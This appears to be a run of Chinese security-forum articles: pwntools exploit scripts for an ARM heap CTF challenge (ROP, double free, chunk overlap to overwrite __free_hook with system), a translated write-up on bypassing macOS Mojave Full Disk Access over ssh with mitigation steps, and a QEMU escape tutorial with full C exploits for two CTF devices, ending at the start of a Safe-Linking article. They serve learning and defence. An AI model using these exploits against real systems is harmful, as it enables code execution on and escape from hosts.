io.sendafter('content: ', content)
def delete(my_id):
io.sendlineafter('choice > ', '1')
io.sendlineafter('choice > ', '2')
io.sendlineafter('index: ', str(my_id))
def info():
io.sendlineafter('choice > ', '2')
def change(content):
io.sendlineafter('choice > ', '3')
io.sendafter('Please Input new password:', content)
io.sendlineafter('continue', '')
pause()
io.sendlineafter('Please registered account \nInput your username:', 'xxxx')
io.sendlineafter('Please input password:', '2333')
io.sendlineafter('Please input password again:', '2333')
io.sendlineafter('continue ...', '')
'''
0x10f58 mov r0, r7; blx r3;
0x10a90 mov r0, r3; pop {fp, pc};
0x105c8 : pop {r3, pc}
0x10784 : pop {r4, pc}
'''
pause()
change('a'*40)
info()
io.recvuntil('a'*40)
libc_addr = u32(io.recv(4)) - 0x32248
print('libc_addr: ' + hex(libc_addr))
change(b'a'*64 + p32(0x10e70))
io.sendlineafter('choice > ', '4')
bin_sh = libc_addr + 1212228
system = libc_addr + 237608
payload = b'c' * 0x1c + p32(0x10784) + p32(bin_sh) + p32(libc_addr + 0xa1a5c) + p32(system)
io.sendlineafter('username:', payload)
io.sendlineafter('password:', '')
pause()
io.sendlineafter('again:', '')
io.sendlineafter('continue', '')
io.interactive()
这是利用uaf的两个exp，第一个为double free，第二个为chunk overlap。
from pwn import *
#context.log_level='debug'
#p=process(["qemu-arm","-L","/usr/arm-linux-gnueabihf","./pwn3"])
#p=process(["qemu-arm","-L","../","pwn3"])
e=ELF('../lib/libc-2.30.so')
#p=process(["qemu-arm","-g",'1234',"-L","../","./pwn3"])
p=remote("20.20.11.14",9999)
p.sendlineafter('username:','yzloser')
p.sendlineafter('password:','yzloser')
p.sendlineafter('again:','yzloser')
p.sendlineafter('continue','')
p.sendlineafter('choice','3')
p.sendlineafter('password:','A'*0x27)
p.sendlineafter('continue','')
p.sendlineafter('choice','2')
p.recvuntil(b'A'*0x27+b'\n')
libc=u32(p.recv(4))-205384
def add(idx,siz,s):
p.sendlineafter('choice','1')
p.sendlineafter('choice','1')
p.sendlineafter('index',str(idx))
p.sendlineafter('size',str(siz))
p.sendlineafter('content',s)
def dele(idx):
p.sendlineafter('choice','1')
p.sendlineafter('choice','2')
p.sendlineafter('index',str(idx))
print(hex(libc))
for i in range(10):
add(i,0x30,'/bin/sh\x00')
for i in range(7):
dele(i)
# double free
dele(7)
dele(8)
dele(7)
for i in range(7):
add(20+i,0x30,'/bin/sh\x00')
add(30,0x30,p32(libc+e.symbols['__free_hook']))
print(hex(libc+e.symbols['__free_hook']))
add(31,0x30,'test')
add(32,0x30,'test')
add(34,0x30,p32(libc+e.symbols['system']))
add(11,10,'/bin/sh\x00')
dele(11)
p.interactive()
from pwn import *
context.log_level="debug"
def info():
p.sendlineafter("> ","2")
def play():
p.sendlineafter("> ","1")
def add(index,size,note):
play()
p.sendlineafter("> ","1")
p.sendafter(": ",str(index))
p.sendlineafter(": ",str(size))
p.sendafter(": ",note)
def delete(index):
play()
p.sendlineafter("> ","2")
p.sendlineafter(": ",str(index))
p=process(["qemu-arm","-g","1234","-L",".","./pwn3"])
#p = remote("20.20.11.14", 9999)
un="aaaaa"
pd1="bbbbb"
pd2="bbbbb"
p.sendlineafter(":",un)
p.sendlineafter(":",pd1)
p.sendlineafter(":",pd2)
p.sendline("")
p.sendlineafter("> ","3")
p.sendlineafter(":","a"*0x20)
p.sendline("")
info()
p.recvuntil(": ")
libc=u32(p.recv(4))+0xff69cba0-0x044ba0-0xff68a248
# print hex(libc)
for i in range(9):
add(i,0x40,"aaaa\n")
add(15,6,"a\n") #0x10
add(14,6,"a\n") #0x10
delete(15)
delete(14) #tcache[0x10]=14->15
for i in range(9):
delete(8-i) #unsorted bin=0->1
free_hook = libc + 0x1479cc
system = libc + 0x3a028
add(9,0x70,"a"*0x40+p32(0)+p32(0x11)+p32(0)*3+p32(0x39)+"\n") #overchunk
delete(1) #tcache[0x10] = 1->14->15
delete(9)
add(10,0x70,"a"*0x40+p32(0)+p32(0x11)+p32(free_hook)*3+p32(0x39)+p32(libc+0x1479cc)+"\n")
add(11,8,"/bin/sh\x00")
add(12,8,p32(libc+0x3a028)+"\n")
# print hex(libc+0x1479cc)
delete(11)
p.interactive()
#0x14675c -- main_arena
## 总结
这道arm的题目赛后发现也不难，关键还是在比赛的时候没有能够熟练的分析。在堆分析中有一个很重要的一点，在用gdb插件调试的时候，加载没有调试符号的libc无法使用bins，chunks等命令。这时，只能自己手动在内存中查找这些数据，比如tcache的管理结构是在heap最开始的地方，而bins则在main_arena上。
## 引用
<https://mp.weixin.qq.com/s/x19DiiitMeAm5VAupqzfdg> | 社区文章 |
本文翻译自：
<https://www.sentinelone.com/blog/mojaves-security-hardening-user-protections-bypassed/>
* * *
在macOS
Majave中，应用所有的API和对资源的直接访问都会需要请求用户的准许，用户也能够直接通过系统偏好设置访问它们的安全偏好设定。本文讲解如何绕过用户保护以及如何确保安全。
苹果macOS Mojave系统的签证特征之一就是用户安全。Mojave的一些安全相关的特征会改变用户与Mac操作系统交互的方式。
许多安全特征设计的目的就是为了防止一些event在没有明确授权的情况下访问用户数据，而event是构成AppleScript、osascript、JXA
(JavaScript for Automation)、Automator和大量应用内通信的基础。
下面以Script Editor为例看一下新保护机制的工作原理。
一个简单的`choose file`
AppleScript命令会呈现一个打开的文件对话框，从中可以选择脚本中使用的文件。但在Mojave中，用户Library中的一些文件夹是没有权限的：
没有权限的文件夹包括Mail、Messages、Cookies、Suggestions、Safari。需要注意的是用户可以在不经过Finder限制的情况下浏览这些文件夹，而通过其他应用来浏览默认会被拦截。
但这里不会有用户反馈来解释没有访问权限或如何进行处理。用户可以在System Preferences设置哪些应用可以访问这些文件夹，具体是在Full
Disk Access的Security & Privacy下：
添加了相应的应用并重新启动后，选择的应用就有访问受保护的文件夹的权限了，这与High Sierra和早期的macOS版本一样。
Mojave
10.14中的用户数据加固是一个很好的想法，比如最近就爆出苹果应用商店中的应用滥用用户浏览历史的消息。但这种数据加固的想法对预防恶意攻击者所起的作用可能有待证明，原因有以下几个:
# 远程绕过
第一个原因就是macOS处理对特定区域访问的请求上，研究证明并不是基于谁在请求访问，而且基于请求访问的位置（文件夹）。
比如，Terminal中的admin用户也不能`cd`到其Safari文件夹，root用户同样不能：
MacOS Mojave只是简单地不允许Terninal遍历这些文件夹，而与认证和权限的级别无关。同样地，如果Script Editor没有加入Full
Disk Access，也不能遍历这些文件夹。
远程攻击者在获取了Sally（登陆用户名）的管理员凭证后，可以访问任何文件夹，而这些文件夹Sally和root都不能访问。
研究人员通过`ssh`远程登陆Sally的用户账户，通过读取保存在受保护的Safari文件夹中的`LastSession.plist`提取出Sally最后访问的银行登陆页面。
需要注意的是ssh登陆到本地账户，遍历受保护的文件夹并不需要将Terminal预先加入到Full Disk
Access中；Sally本地ssh登陆也可以执行便利操作：
简单来说，任意本地或远程用户都可以通过ssh登陆的方式来绕过Full Disk Access。
# 设计缺陷
第二个Mojave可能并不会起作用的原因是苹果应用Apple Event sandboxing和Full Disk
Access的一些问题。其中有两个问题：dialog fatigue（对话疲劳）和universal whitelisting（通用白名单）。
管理员用户对“对话疲劳”会比较熟悉，每当出现一个告警消息都需要进行点击。需要用户的点击同意只是额外的一步，而且很容易实现：因为大多数用户在第n次看到合法应用弹出的对话框后已经对这些对话框免疫了。
升级到Mojave对许多用户来说是痛苦的，因为许多常规应用、插件、扩展都回被拦截或跳出这样请求访问的对话框。当用户点击了许多次来自合法应用的非恶意请求之后，用户大概率会无脑点击同意下一个来自恶意软件的访问请求。
从安全角度看，Full Disk
Access的通用白名单也是一个问题。一个应用可能会请求一些无害的权限，但苹果应用的授权机制是对所有用户都设置为白名单，所以恶意应用也可以读取浏览器历史、邮件、聊天信息等。
当Script
Editor、Automator、Terminal这类系统应用被用户添加到来完成某些特定的任务后，这个问题就变得严峻了。因为恶意软件可能会利用各种资源来获得所需的权限。
# 怎样保证安全
对安全管理员来说，可以通过下面的命令来查看Full Disk Access隐私面板中加入了什么：
sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db 'SELECT * from access' | grep kTCCServiceSystemPolicyAllFiles
因为该数据库包含在Mojave的新保护机制中，因此除非Ternimal也加入了Full Disk
Access否则都不能上面的命令，也可以通过ssh绕过来避免这些安全认证机制。
如果用户和管理员想禁用通过ssh访问受保护的文件夹，可以：
1. 用`ssh`登陆并遍及一个受保护的文件夹；
2. 打开System Preferences > Security & Privacy > Privacy ，点击“Full Disk Access”；
3. 确保列表中有`sshd-keygen-wrapper`，也可能会看到`sshd`。
如果列表为空，尝试从`ssh session`中读取或打开一个文件。用户可能需要重新打开System Preferences。
4.移除该项目并不不能预防被绕过的情况，应该关闭该项目，最后点击左下角的“锁定”。
5.测试ssh session已经不能访问受保护的文件了。
尝试列出受保护的文件夹返回的信息是“Operation not permitted”，而直接读取文件夹的文件会失败，而且不返回任何信息。
# 结论
因此，Mojave中的用户数据并不比之前的macOS更安全，但用户在一些情况下确实会更安全一点，但这种认为安全的情况本身就存在危险。因为通过对话框告警来获取用户授权的门槛很低，因此攻击者会滥用macOS
10.14中的用户隐私。
<https://www.sentinelone.com/blog/mojaves-security-hardening-user-protections-bypassed/> | 社区文章 |
# qemu逃逸学习
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## qemu的基本知识
### qemu 的内存配置
Guest' processes
+--------------------+
Virtual addr space | |
+--------------------+
| |
\__ Page Table \__
\ \
| | Guest kernel
+----+--------------------+----------------+
Guest's phy. memory | | | |
+----+--------------------+----------------+
| |
\__ \__
\ \
| QEMU process |
+----+------------------------------------------+
Virtual addr space | | |
+----+------------------------------------------+
| |
\__ Page Table \__
\ \
| |
+----+-----------------------------------------------++
Physical memory | | ||
+----+-----------------------------------------------++
### 地址转换
用户虚拟地址->用户物理地址
用户物理地址->qemu的虚拟地址空间
7f1824ecf000-7f1828000000 rw-p 00000000 00:00 0
7f1828000000-7f18a8000000 rw-p 00000000 00:00 0 [2 GB of RAM]
7f18a8000000-7f18a8992000 rw-p 00000000 00:00 0
7f18a8992000-7f18ac000000 ---p 00000000 00:00 0
7f18b5016000-7f18b501d000 r-xp 00000000 fd:00 262489 [first shared lib]
7f18b501d000-7f18b521c000 ---p 00007000 fd:00 262489 ...
7f18b521c000-7f18b521d000 r--p 00006000 fd:00 262489 ...
7f18b521d000-7f18b521e000 rw-p 00007000 fd:00 262489 ...
... [more shared libs]
7f18bc01c000-7f18bc5f4000 r-xp 00000000 fd:01 30022647 [qemu-system-x86_64]
7f18bc7f3000-7f18bc8c1000 r--p 005d7000 fd:01 30022647 ...
7f18bc8c1000-7f18bc943000 rw-p 006a5000 fd:01 30022647 ...
7f18bd328000-7f18becdd000 rw-p 00000000 00:00 0 [heap]
7ffded947000-7ffded968000 rw-p 00000000 00:00 0 [stack]
7ffded968000-7ffded96a000 r-xp 00000000 00:00 0 [vdso]
7ffded96a000-7ffded96c000 r--p 00000000 00:00 0 [vvar]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
#### pagemap
/proc/$pid/pagemap存储进程虚拟地址的也表项，也就是page table
VPFN：virtual page frame number，虚拟页号
PFN：page frame number frame number，页号
pagemap的格式
* Bits 0-54 page frame number (PFN) if present
* Bits 0-4 swap type if swapped
* Bits 5-54 swap offset if swapped
* Bit 55 pte is soft-dirty (see Documentation/vm/soft-dirty.txt)
* Bit 56 page exclusively mapped (since 4.2)
* Bits 57-60 zero
* Bit 61 page is file-page or shared-anon (since 3.5)
* Bit 62 page swapped
* Bit 63 page present
### PCI
**符合 PCI 总线标准的设备就被称为 PCI 设备** ，PCI 总线架构中可以包含多个 PCI 设备。图中的 Audio、LAN 都是一个 PCI
设备。PCI 设备同时也分为主设备和目标设备两种，主设备是一次访问操作的发起者，而目标设备则是被访问者。
#### mmio
内存映射io，和内存共享一个地址空间。可以和像读写内存一样读写其内容。
#### pmio
端口映射io，内存和io设备有个字独立的地址空间，cpu需要通关专门的指令才能去访问。在intel的微处理器中使用的指令是IN和OUT。
#### lspci命令
pci外设地址，形如`0000:00:1f.1`。第一个部分16位表示域；第二个部分8位表示总线编号；第三个部分5位表示设备号；最后一个部分表示3位表示功能号。下面是lspci的输出，其中pci设备的地址，在最头部给出，由于pc设备总只有一个0号域，随意会省略域。
`lspci -v -t`会用树状图的形式输出pci设备，会显得更加直观
`lspci -v`就能输出设备的详细信息
仔细观察相关的输出，可以从中知道mmio的地址是`0xfebf1000`，pmio的端口是`0xc050`。
在`/sys/bus/pci/devices`可以找到每个总线设备相关的一写文件。
每个设备的目录下`resource0` 对应MMIO空间。`resource1` 对应PMIO空间。
resource文件里面会记录相关的数据，第一行就是mimo的信息，从左到右是：起始地址、结束地址、标识位。
### QOM(qemu object model)
#### TypeInfo
TypeInfo定义了一个类，下面代码所示
static const TypeInfo strng_info = {
.name = "strng",
.parent = TYPE_PCI_DEVICE,
.instance_size = sizeof(STRNGState),
.instance_init = strng_instance_init,
.class_init = strng_class_init,
};
定义中包含这个类的
* 名称 name
* 父类 parent
* 实例的大小 instance_size
* 是否是抽象类 abstract
* 初始化函数 class_init
代码底部有type _init函数，可以看到这个函数实际是执行的register _module_init，由于有`__attribute__
((constructor))`关键字，所以这个函数会在main函数之前执行。
type_init(pci_strng_register_types)
#define type_init(function) module_init(function, MODULE_INIT_QOM)
#define module_init(function, type) \
static void __attribute__((constructor)) do_qemu_init_ ## function(void) \
{ \
register_module_init(function, type); \
}
#endif
void register_module_init(void (*fn)(void), module_init_type type)
{
ModuleEntry *e;
ModuleTypeList *l;
e = g_malloc0(sizeof(*e));
e->init = fn;
e->type = type;
l = find_type(type);
QTAILQ_INSERT_TAIL(l, e, node);
}
这里register_module_init中创建了一个type为MODULE_INIT_QOM，init为pci_strng_register_types的一个
ModuleEntry，并且他加入到MODULE_INIT_QOM的ModuleTypeList链表上。
在main函数中会调用`module_call_init(MODULE_INIT_QOM);`将MODULE_INIT_QOM)对应的ModuleTypeList上的每个
ModuleEntry都调用其init函数。对于以上的例子来说就会掉用`pci_strng_register_types`。
static void pci_strng_register_types(void)
{
static const TypeInfo strng_info = {
.name = "strng",
.parent = TYPE_PCI_DEVICE,
.instance_size = sizeof(STRNGState),
.instance_init = strng_instance_init,
.class_init = strng_class_init,
};
type_register_static(&strng_info);
}
这里初始化了一个strng_info的TypeInfo，然后掉用type_register_static
TypeImpl_0 *__fastcall type_register_static(const TypeInfo_0 *info)
{
__readfsqword(0x28u);
__readfsqword(0x28u);
return type_register(info);
}
TypeImpl_0 *__fastcall type_register(const TypeInfo_0 *info)
{
TypeImpl_0 *v1; // rbx
TypeImpl_0 *result; // rax
unsigned __int64 v3; // [rsp+8h] [rbp-10h]
v3 = __readfsqword(0x28u);
if ( !info->parent || (v1 = type_new(info), type_table_add(v1), result = v1, __readfsqword(0x28u) != v3) )
__assert_fail("info->parent", "/home/rcvalle/qemu/qom/object.c", 0x92u, "type_register");
return result;
}
可以看到type_register_static掉用了type_register，在type_register中执行了`v1 =
type_new(info),
type_table_add(v1),`这部操作。这两个函数分别初根据info初始化了一个TypeImpl对象v1，然后把v1添加到全局的type_table中。
#### TypeImpl
这个结构是根据TypeInfo来进行创建，各个类之间的继承关系都依赖这个结构，这个结构中还包含了所对应的类的构造和析构函数，还有实例的构造和析构函数。
struct TypeImpl
{
const char *name;
size_t class_size;
size_t instance_size;
void (*class_init)(ObjectClass *klass, void *data);
void (*class_base_init)(ObjectClass *klass, void *data);
void (*class_finalize)(ObjectClass *klass, void *data);
void *class_data;
void (*instance_init)(Object *obj);
void (*instance_post_init)(Object *obj);
void (*instance_finalize)(Object *obj);
bool abstract;
const char *parent;
TypeImpl *parent_type;
ObjectClass *class;
int num_interfaces;
InterfaceImpl interfaces[MAX_INTERFACES];
};
#### ObjectClass
这是所有class的基类或者说是是所有class的结构，在ObjectClass对象创建时会更具type（TypeImpl）根据类之间的继承关系逐个进行初始化。
struct ObjectClass
{
/*< private >*/
Type type;
GSList *interfaces;
const char *object_cast_cache[OBJECT_CLASS_CAST_CACHE];
const char *class_cast_cache[OBJECT_CLASS_CAST_CACHE];
ObjectUnparent *unparent;
};
#### Object
所有object的基类，或者可以说是所有object的结构，他其中会包含指向对应类对象的指针。object会根据class中type的继承关系递归的初始化实例。
struct Object
{
/*< private >*/
ObjectClass *class;
ObjectFree *free;
QTAILQ_HEAD(, ObjectProperty) properties;
uint32_t ref;
Object *parent;
};
### 制作文件系统
编译busybox
make menuconfig 设置
Busybox Settings -> Build Options -> Build Busybox as a static binary 编译成 静态文件
关闭下面两个选项
Linux System Utilities -> [] Support mounting NFS file system 网络文件系统
Networking Utilities -> [] inetd (Internet超级服务器)
cd _install
mkdir proc sys dev etc etc/init.d
touch etc/init.d/rcS
chmod +x etc/init.d/rcS #给启动脚本加上运行权限
`etc/init.d/rcS`为Linux的启动脚本，项其中写入以下内容
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
/sbin/mdev -s
### 启动qemu
/CTF/qemu_escape/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64 -m 2048 --nographic \
-kernel /CTF/kernel/linux-4.9/arch/x86_64/boot/bzImage -initrd /CTF/qemu_escape/rootfs.img -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \
-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \
-netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 \
退出qemu的终端用`ctrl+a+x`
## 题目
### AntCTF2021 d3dev
#### 题目分析
首先打开launch.sh可以看到`-devive d3dev`说明加载了名叫d3dev的pci设备。
接着用ida打开qemu-system-x86_64在函数框中搜索d3dev，终端关注d3dev_mmio_read，d3dev_mmio_write，d3dev_pmio_read，d3dev_pmio_write这四个函数，这个四个函数分别是mmio模式下的读写操作，pmio模式下的读写操作。
打开ida的Local type窗口搜索d3dev搜索出如下结构，这就是d3dev这个设备的实例结构。
为了使代码更加清晰，将四个函数中所有个opaque都换成如下类型
接下来大致分析一下每个函数的作用，在开始之前希望读者去了解一下tea加密算法。
##### mmio_read
mmio_read用tea算法解密指定位置上的内容，解密后的低4字节和高4字节的的数据可以分两次读出来。
##### mmio_write
mmio_write第一次的时候先往指定block位置写入你传入的val，第二次时候会val作为高4字节的数据，指定位置的内容作为低4节数据送到tea中进行加密然后将，加密结果写回指定位置。
##### pmio_read
pmio_read有点特别，他会掉用`dword_7ADF30 + dword_7ADF30[addr]`这个位置的函数
这里反编译出来看的不太明显进入汇编看看就很明显了，首先是dword_7ADF30处的内容，将第0、8、12、16、20、和24的数和0x7ADF30相加就回得到0x4D7D40、0x4D7D50，0x4D7D60、0x4D7D70、0x4D7D80和0x4D7D30。结合个之前Structure中的内容，我们发现当addr=12、16、20、24时我们就可以分别独处key[0]、key[1]、key[2]、key[3]。
##### pmio_write
pmio_write，当addr（就是传入的端口值）为：
* 8：可以设置seek的值，应为mmio的读写位置都是`opaque->seek + (unsigned int)(addr >> 3)`这么指定的同时由于qemu的限制addr的范围不能超过256，所以可以通过设置seek来进行越界的访问。
* 28：可以执行rand_r函数
#### 思路
##### libc泄漏
1. 用pmio_write设置seek为0x100
2. 利用mimo_write对rand_r进行加密
3. 利用mimo_read读出解密后rand_r的地址，计算出libc的地址，从而计算出system的地址。
##### 执行shell
1. 利用pmio_read读出四个key的，然后用解密函数system，然后将解密后的内容通过mmio_write写入rand_r中，由于写入后回进行加密就会将我们解密后的内容重新变成system写入rand_r中。
2. 利用pmio_write传入参数执行rand_r函数获取flag。
#### EXP
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <sys/ioctl.h>
#include <sys/io.h>
#define _DWORD uint32_t
#define LODWORD(x) (*((_DWORD *)&(x)))
size_t mmio_base;
size_t port_base = 0xc040;
u_int32_t key[4];
void mmio_write(size_t addr, u_int32_t val)
{
*(u_int32_t *)(mmio_base + addr) = val;
}
u_int32_t mmio_read(addr)
{
return *(u_int32_t *)(mmio_base + addr);
}
void pmio_write(size_t port, u_int32_t val)
{
outl(val, port_base + port);
}
size_t pmio_read(size_t port)
{
return inl(port_base + port);
}
size_t tea(size_t m)
{
uint64_t v3;
signed int v4; // esi
unsigned int v5; // ecx
uint64_t result; // rax
v3 = m;
v4 = -957401312;
v5 = v3;
result = v3 >> 32;
do
{
LODWORD(result) = result - ((v5 + v4) ^ (key[3] + (v5 >> 5)) ^ (key[2] + 16 * v5));
v5 -= (result + v4) ^ (key[1] + ((unsigned int)result >> 5)) ^ (key[0] + 16 * result);
v4 += 1640531527;
} while (v4);
printf("0x%lx\n", v5);
printf("0x%lx\n", result);
return result << 32 | (u_int64_t)v5;
}
int main()
{
int fd = open("/sys/bus/pci/devices/0000\:00\:03.0/resource0", O_RDWR | O_SYNC);
mmio_base = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (iopl(3) != 0)
{
puts("iopl fail!");
exit(-1);
}
pmio_write(8, 0x100);
// getchar();
mmio_write(8, 0);
mmio_write(0x18, 0);
// getchar();
u_int32_t tmp;
u_int64_t rand_addr;
u_int64_t libc, sys;
rand_addr = mmio_read(0x18);
printf("rand 0x%llx\n", rand_addr);
rand_addr += ((u_int64_t)mmio_read(0x18)) << 32;
printf("rand 0x%llx\n", rand_addr);
libc = rand_addr - 0x4aeb0;
printf("libc 0x%llx\n", libc);
sys = libc + 0x55410;
printf("sys 0x%llx\n", sys);
printf("sys_low 0x%llx\n", sys & 0xffffffff);
key[0] = pmio_read(12);
key[1] = pmio_read(16);
key[2] = pmio_read(20);
key[3] = pmio_read(24);
for (int i = 0; i < 4; i++)
{
printf("key%d: 0x%lx\n", i, key[i]);
}
u_int64_t t = tea(sys);
printf("tea sys 0x%lx\n", t);
printf("tea sys low 0x%lx\n", t & 0xffffffff);
mmio_write(0x18, t & 0xffffffff);
printf("tea sys high 0x%lx\n", t >> 32);
mmio_write(0x18, t >> 32);
// getchar();
char *flag = "cat flag";
tmp = tmp = *((u_int32_t *)flag + 1);
printf("0x%lx", tmp);
pmio_write(8, 0);
mmio_write(0, tmp);
tmp = *(u_int32_t *)flag;
printf("0x%lx", tmp);
pmio_write(28, tmp);
return 0;
}
### 华为云qemu_zzz
#### 题目分析
打开qmeu的加载文件，可以看到其加载了一个zzz设备，漏洞就在这个设备上。
在函数中搜索zzz，可以看到zzz设备有如下几个函数
打开zzz_instance_init函数，这个函数是设备实例的初始化，可以看到他将设备实例的起始地址存放在0x19F0位置，在0x19F8位置存放cpu_physical_memory_rw函数的地址。
通过分析zzz_mmio_write函数可以大致描述处这个设备的结构
struct ZZZState
{
...
qword rw_addr; // 0x9e0;
word len ; //0x9e8;最低位为读写标志位
word offset; // 0x9ea;
byte buf[0x1000];//0x9f0
qword base_addr; //0x19f0;指向ZZZState的地址
qword cpu_physical_memory_rw; //0x19f8;
}
zzz_mmio_read是通过传入的值读出buf的内容，这里意义不大。我们主要观察zzz_mmio_write
#### zzz_mmio_write
这个函数会根据传入的addr执行不同的操作，具体入下
* 0x20：设置的读写地址rw_addr， **这里应该是虚拟机的物理地址** ，利用cpu_physical_memory_rw对其进行读写。可以实际上的地址是rw_addr*0x1000,可以mmap一个0x1000的空间，注意申请后得到的是虚拟机中的虚拟地址需要转换为虚拟机的物理地址才能够传入rw_addr。
* 0x10：设置offset值，用cpu_physical_memory_rw读写的时候buf的偏移。
* 0x18：设置len为读写长度，用cpu_physical_memory_rw读写的时候buf的长度，其中最低位表示是进行读操作还是写操作。
* 0x50：会根据len和offset值对buf中的数据进行加密。
* 0x60： **跟根据base_addr取出len和offset** ，然后掉用cpu_physical_memory_rw对buf进行读写操作。
在0x60的操作中会有一个溢出漏洞(signed int)(offset + len – 1) <=
0x1000，因为buf只有0x1000的长度，而这里可以写到第0x1001个字节即能够改变base_addr的最低一个字节。由于0x60时候是根据base_addr来读取数据的，因此可以利用这个漏洞。
#### 思路
1. 首先对buf中进行数据布置
1. 由于低12位的字节是固定的因此可以算出buf中的一个能被0x1000整除的地址的偏移，向其中写入cat flag。
2. 根据之后要改变的base_addr在buf的指定位置设置rw_addr、len和offset，供之后之后使用。
2. 利用溢出改变基地址，读出base addr 和cpu_physical_memory_rw，由于qmeu-system-x86-64中本身存在system的掉用，根据cpu_physical_memory_rw便能够计算出程序基地址从而算出system的地址。
3. 利用0x50的加密功能（逐字异或0x0209）将len的低位置位，变成写操作，对buf进行再一次布置
1. 在0x19e8的位置布置上system的地址
2. 在buf的某个地方写上cat flag的地址（之前我们在能够被0x1000整除的地址上写的），布置上合理的len和offset
3. 根据2写入的地址计算出基地址base_addr写入0x19e0的位置
4. 掉用0x60功能获得flag。
#### EXP
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/pci.h>
#include <sys/io.h>
#include <string.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
size_t mmio_addr;
int fd;
size_t mmio_read(u_int64_t addr)
{
return *(size_t *)(mmio_addr + addr);
}
void mmio_write(u_int64_t addr, u_int64_t val)
{
*(size_t *)(mmio_addr + addr) = val;
}
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
int main(int argc, char const *argv[])
{
//获取一段0x1000的空间
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0)
{
puts("[*]pagemap error!");
exit(0);
}
u_int64_t target = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
mlock(target, 0x1000);
printf("[*] visual addr 0x%lx\n", target);
u_int64_t pt = gva_to_gpa(target);
printf("[*] physical addr 0x%lx\n", pt);
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd < 0)
{
puts("[*]mmio open file error!");
exit(0);
}
mmio_addr = mmap(0, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
//设置目标地址,设置相关的位置
mmio_write(0x20, pt >> 12);
// mmio_write(0x10, 0xfff);
// mmio_write(0x18, 0x3);
// mmio_write(0x60, 1);
// for (int i = 0; i < 8; i++)
// {
// *(u_int8_t *)(target + i) = 0x22;
// }
// puts("this is write");
// mmio_write(0x10, 0x0);//off
// mmio_write(0x18, 0x8|1);//len
// mmio_write(0x60, 0);
// u_int8_t t=mmio_read(0);
// printf("0x%lx\n",t);
// getchar();
puts("this is write");
mmio_write(0x10, 0);
mmio_write(0x18, 0xb00);
strcpy((char *)(target + 0xa10), "cat flag\0");
*(u_int64_t *)(target + 0x10) = pt;
*(u_int16_t *)(target + 0x18) = 0x10 | 1;
*(u_int16_t *)(target + 0x1a) = 0xfe0;
mmio_write(0x60, 0);
// getchar();
// 修改基地址
mmio_write(0x10, 0xfff);
mmio_write(0x18, 2);
*(u_int8_t *)target = 0x00;
*(u_int8_t *)(target + 1) = 0x20;
mmio_write(0x60, 0);
// getchar();
//读出cpu_physical_memory_rw
// mmio_write(0x10, 0xff0);
// mmio_write(0x18, 0x10 | 1);
mmio_write(0x60, 0);
printf("base addr 0x%lx\n", *(u_int64_t *)(target));
printf("cpu_physical_memory_rw 0x%lx\n", *(u_int64_t *)(target + 8));
// getchar();
u_int64_t base = *(u_int64_t *)(target);
u_int64_t cpu = *(u_int64_t *)(target + 8);
u_int64_t sys = (cpu - 0x5BC5C0) + 0x2A7A80;
printf("system addr 0x%lx\n", sys);
//利用加密改变读写位置
mmio_write(0x10, 0x18);
mmio_write(0x18, 0x40);
mmio_write(0x50, 0);
getchar();
puts("[*]wirte the system");
u_int64_t sh = base - 0x20 + 0x9f0 + 0xa10;
printf("sh addr 0x%lx\n", sh);
getchar();
u_int64_t new_base = (base + 0x9f0 + 0xdf0) - 0x9e0;
printf("new_base addr 0x%lx\n", new_base);
*(u_int64_t *)(target + 7) = sh;
*(u_int16_t *)(target + 7 + 8) = 0;
*(u_int16_t *)(target + 7 + 0xa) = 0x11;
*(u_int64_t *)(target + (0x1000 - 0x20 - 0xde9)) = new_base;
*(u_int64_t *)(target + (0x1000 - 0x20 - 0xde9 + 8)) = sys;
mmio_write(0x60, 0);
getchar();
mmio_write(0x60, 0);
return 0;
} | 社区文章 |
# Safe-Linking——针对 malloc 安全防护机制
|
##### 译文声明
本文是翻译文章，文章原作者 checkpoint，文章来源：research.checkpoint.com
原文地址：<https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/>
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
我们在Check Point
Research从事的每个研究项目的目标之一就是对软件的工作方式深入的分析：它们包含哪些组件？它们是否存在漏洞？攻击者如何利用这些漏洞？更重要的是，我们如何防范此类攻击？
在我们的最新研究中，我们提出了一种称为“Safe-Linking”的安全机制，用来保护malloc()的单向链表不被攻击者篡改。我们已经向核心开源代码库的维护者介绍了我们的方法，现在，它已经集成到最常见的标准库中：glibc（Linux）和uClibc-NG(嵌入式系统)。
